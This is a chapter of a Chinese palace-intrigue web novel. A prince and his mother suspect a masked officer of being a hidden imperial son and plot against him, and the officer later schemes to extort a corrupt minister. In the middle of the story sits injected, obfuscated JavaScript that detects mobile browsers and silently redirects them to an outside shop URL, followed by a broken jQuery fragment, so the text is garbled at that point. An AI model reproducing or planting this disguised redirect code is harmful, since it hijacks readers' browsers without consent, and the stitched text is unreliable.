待回了住处，七公主还是气得直跺脚。但抬眼见三哥神情严肃，便知自己今日算是出了大格，小心翼翼又想收敛几分脾气。
两股情绪对冲，不由得委屈得啪嗒啪嗒开始落泪。
三皇子叹了口气：“你这又是何苦？”
七公主不语，只一味地流泪。
“那同皇兄说说，那燕镇抚是个怎样的人，值得你如此这般维护？”
“皇兄，他是个好人！他为了我差点丢了命，那么大只的老虎，吼一声我心都停了，他却拿身子护住我，若不是他，妹妹焉有命在？”
三皇子点点头：“可你从小就调皮好动，儿时也有侍卫拼命才救下你，怎不见你如此感恩戴德？”
七公主愣了愣，慌不择言道：“他不一样！他……他还坐怀不乱，我那样他，他都不愿占我的便宜？”
话一出口便觉不妙，果然三皇子一下子变了脸色。
“你怎样他了？”三皇子低喝，“说清楚，他欺负你了？”
“没有没有。”七公主心知自己说漏了嘴，心中十分愧疚。
但禁不住哥哥拷问，如此如此这般这般，便倒了个干干净净。
三皇子心里觉得好笑，这才哪到哪，自己的小妹妹和故去的大妹妹比起来，简直是单纯得可爱。
面上却仍做出兄长的威严，沉吟道：“你们竟已有了这段了。”
“小妹，你说你见过他面具下的样子了，长相究竟如何，可有什么疤痕缺陷？可不能堕了天家的气度啊！”
七公主眼神一亮，这是有戏？
“见过，见过。英武好看得紧，干干净净，什么缺陷也没有，说起来还和哥哥有几分相像呢！”
“哦，还和我有几分相像？”
“正是正是！你见了你也一定会喜欢的！他同你站一块，可比老二和你更像兄弟呢！我发誓，我可绝对没有扯谎！”
三皇子胸口狂跳，面上仍旧不动声色。
“那确实有几分缘分！”
“有缘分，绝对有缘分！你说妹妹我见了他，再去见徐家子，心里如何能放得下？可母亲不知着了什么魔，眼里尽是徐家。要我说这算什么事儿呀！姐姐尸骨未寒，我做妹妹的难道就要去抢她的夫婿了吗？”
说着，七公主又挤出了几滴真心实意的眼泪。
“小妹说得也在理，这于礼法确实不合，母亲这般行事免不了要寒了九泉之下大妹的心啊。”
“正是这个理！”
“这样吧，我去同母亲说说！这燕镇抚虽无家世，但也是父皇破格提拔的才俊，也未必比不得徐家子。”
这日晚些时候，三皇子果然信守承诺，去了周贵妃宫中。
殿内熏烟袅袅，暖香扑面。周贵妃正于榻上闭目养神，见儿子来了，脸上便露了笑意.
“皇儿今日怎么得空来看母妃了？”她挽着儿子的手在榻边坐下，语气慈爱。
三皇子屏退了左右，沉吟片刻，方将七公主对燕风的心思以及自己的来意低声说明。
周贵妃笑容微敛，拍了拍他的手。
“皇儿啊，这事儿怎可由得七丫头胡来。你又不是不知道，我这般心急火燎地想与徐家再续姻缘，实是因徐家手握……”
“母亲，”三皇子轻声打断，“儿子都明白。只是眼下，却有了一个新的顾虑。”
“哦？什么顾虑？”
“母亲可还记得，那燕风，是何时开始崭露头角？”
周贵妃蹙眉细思了片刻。
“我第一次对他有了印象，是今年元旦宫宴上，你父皇特意点名让他近前伺候。身条气度确是不凡，就是终日戴着个面具，神神秘秘的。”
三皇子又问：“那母亲可还记得，秉笔太监曹宜春，是何时从北地归来的？”
“曹宜春？”
周贵妃被这奇怪的问题问得一怔，“他……似是年前一两个月才风尘仆仆地回来。怎么忽然提起他了？他不是奉旨去北地接那个……那个流落民间多年的六公主了吗？”
她对那位突然冒出来的公主并无多少印象，只觉她身份低微，不足挂齿。
“母亲不觉得，这时间太过巧合了吗？”
三皇子低声道，“燕风横空出世，备受荣宠，恰是在曹宜春接回六公主之后不久。”
“这……这有何巧？”周贵妃失笑，“一个武官，一个内臣。风马牛不相及。皇儿，你是否多心了？”
“母亲，曹宜春是何等人物，父皇如此宠信他。他却要为了一个流落在外的公主，亲自去一趟北地。这也太大费周章了吧！再者六公主回宫这么久了，母亲，您见过她吗？“
“儿子起先也未作此想，是大妹妹的事，才让我觉出些不对。”
三皇子神色凝重：“那日梅林的猛虎来得蹊跷，父皇震怒，必定要杀人泄愤，事实也确是如此，上林苑监、守林军校尉，掉了多少脑袋？”
“可那姓燕的，护卫不力，理应首当其冲。结果呢？他不但自身毫发无伤，连他麾下那些缇骑，竟也一个未曾牵连问罪。母亲，这难道不反常吗？”
周贵妃闻言，脸色渐渐变了，缓缓点头。
“经你这么一说……确实反常得紧。陛下那时正在气头上，却独独对他网开一面……”
“还有更巧的。今日我问及小妹，她说，曾机缘巧合见过那燕风面具下的真容，竟然同儿臣有几分相似。”
“什么？”周贵妃一惊，“七丫头真这么说？”
“是。她说，那人相貌英武，除了与儿臣相似外，脸上还干干净净，全无瑕疵疤痕。母亲您想，既然如此，他为何要终日以面具覆脸，不愿以真面目示人？”
“恐怕只有一个解释。”
三皇子一字一句：“他的容貌本身就值得遮掩！”
周贵妃叹了口气，下意识地压低了声音：“你是说……哎，说句大逆不道的，你父皇确实……若在外再多出几个孩子，我也不觉稀奇。”
“如果只是多一个兄弟，儿臣自然不怕。儿子的兄弟本就不少。”三皇子冷冷道，“关键在于，父皇对此人的态度！”
“皇儿，你究竟是何意？”周贵妃感到有些心惊。
“母亲，我大靖祖训，立嫡立长！大哥虽愚钝，却占着嫡长的名分，地位岿然不动。我们多年筹谋，争的是什么？不就是有朝一日能撼动这‘嫡长’的规矩吗？”
他语气愈发冰冷：“可别到时候，我们这边摇旗呐喊，好不容易将局面松动了，转头却为他人做了嫁衣！您看父皇对他那看重之势，若他真是皇子，那此人……便决不可留！”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485566|201982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周贵妃被儿子话语中的杀意惊得胸口狂跳，紧紧抓住他的手腕。
“皇儿，你说得对！若真如此，确是心腹大患！可是……无凭无据，如何能确定他的身份？”
“儿子早已派人去查他底细，只是此人确如横空出世，过往成迷，至今未有确凿回音。不过，眼下却有一个现成的试探之法。”
“你的意思是……”
“请母亲寻个时机，去父皇那儿探探口风。就说七妹似乎对那燕镇抚使青眼有加，甚至二人颇有私会，询问父皇若将小妹下嫁于他，是否可行。”
三皇子嘴角勾起一抹冷笑：“若父皇流露出些许考量之意，那或许真是我们多虑了。可若父皇不说缘由就是一口回绝，那其中深意，母亲自然明白。”
周贵妃深吸一口气，重重点头：“好！就依皇儿之计。本宫明日便去寻陛下试探一二！”
*
燕风近来颇感困顿。
在北镇抚司的时日愈久，她便愈清晰地窥见其中关窍：能否在此地立足，或者说佯装成陛下手中一只合格的鹰犬，关键并非办案擒贼，仅系于一字——
钱。
当朝与以往任何世代都不同。
陛下从那些神秘家族身上夺来的令人归顺的能力，使京中百官无不对其心怀孺慕，忠忱发自肺腑。
然即便如此，人性贪欲仍胜于一切：
该扣的照扣，该贪的照贪。
若说这满京城皆是蠹虫，那最大的那条，便正坐在金殿之上，日日受着山呼万岁。
光是苏州织造岁进龙袍便以万计，更遑论其他用度。民脂民膏被层层盘剥，以各种名目源源不断汇入皇城，供其挥霍。加之几年前那场御驾亲征，国库亏空至今犹在，成了每个天子近臣心头沉甸甸的巨石。
便以永宁公主遇害一案为例。
被派来查案的大人姓洪，官居刑部右侍郎，也是锦衣卫指挥使李芳贤的内侄。
此人资质平平，却极谙为官之道。他查不出真凶，便想着宰几头肥硕的‘羔羊’讨上头欢心。恰逢江南几位富商之子结伴入京，下榻处又与事发梅园相近。
洪大人当即抓人，硬扣嫌疑，暗示天价赎金。最可恨的是，他做这等缺德事偏要拉着北镇抚司共担，人一抓来就往诏狱里扔！
燕风碍于同僚颜面，耐着性子周旋多日，方才‘勉为其难’地放人。可那洪大人脸皮厚得如城墙，她放一个，他便另寻由头再抓一个。
此事几番上达天听，最令人心寒的是皇帝竟不以为意，反嫌她多事。
燕风不语，只是家里练拳的木头桩子烂了一根又一根。
不就是坑人要钱吗!
那姓洪的是个怂货，只敢抓南边来的无权无势无靠山的商户。
燕风想通了，既干了这一行，就要拿出个干事的态度。去他的为官之道，她的这些同僚们有多富，谁能比她更清楚！
不过既然是坑人，那就得找个最值得坑的人。
燕风翻起了当初宗谦案的卷宗，在里头跳得最欢的几个人里几经斟酌了一番，最终还是选中了一位老朋友。
刑部尚书，薛兆。
谁让薛进士，偏写得一手落井下石的锦绣文章呢？
且有证据表明，他确实很肥。